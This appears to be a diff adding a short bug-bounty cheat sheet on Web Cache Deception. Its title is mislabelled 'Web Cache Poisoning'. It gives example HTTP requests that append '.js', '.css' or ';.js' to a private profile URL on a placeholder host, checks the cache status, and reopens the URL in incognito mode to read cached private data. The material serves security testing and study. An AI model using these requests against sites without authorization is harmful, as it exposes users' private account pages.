STRLCPY/AllAboutBugBounty

Total 1 files

■ ■ ■ ■ ■ ■

Web Cache Deception.md

1	+	# Web Cache Poisoning
2	+
3	+	## Introduction
4	+	Web Cache Deception is an attack in which an attacker deceives a caching proxy into improperly storing private information sent over the internet and gaining unauthorized access to that cached data
5	+
6	+	## Where to find
7	+	`-`
8	+
9	+	## How to exploit
10	+	* Normal Request
11	+	```
12	+	GET /profile/setting HTTP/1.1
13	+	Host: www.vuln.com
14	+	```
15	+	The response is
16	+	```
17	+	HTTP/2 200 OK
18	+	Content-Type: text/html
19	+	Cf-Cache-Status: HIT
20	+	...
21	+	```
22	+
23	+	1. Try to add cacheable extension (For example .js / .css / .jpg, etc.)
24	+	```
25	+	GET /profile/setting/.js HTTP/1.1
26	+	Host: www.vuln.com
27	+	```
28	+	The response is
29	+	```
30	+	HTTP/2 200 OK
31	+	Content-Type: text/html
32	+	Cf-Cache-Status: HIT
33	+	...
34	+	```
35	+	If the response is success, try to open the url in the incognito mode.
36	+
37	+	2. Add `;` before the extension (For example `;.js` / `;.css` / `;.jpg`, etc.)
38	+	```
39	+	GET /profile/setting/;.js HTTP/1.1
40	+	Host: www.vuln.com
41	+	```
42	+	The response is
43	+	```
44	+	HTTP/2 200 OK
45	+	Content-Type: text/html
46	+	Cf-Cache-Status: HIT
47	+	...
48	+	```
49	+	If the response is success, try to open the url in the incognito mode.
50	+
51	+	## References
52	+	* [@bxmbn](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)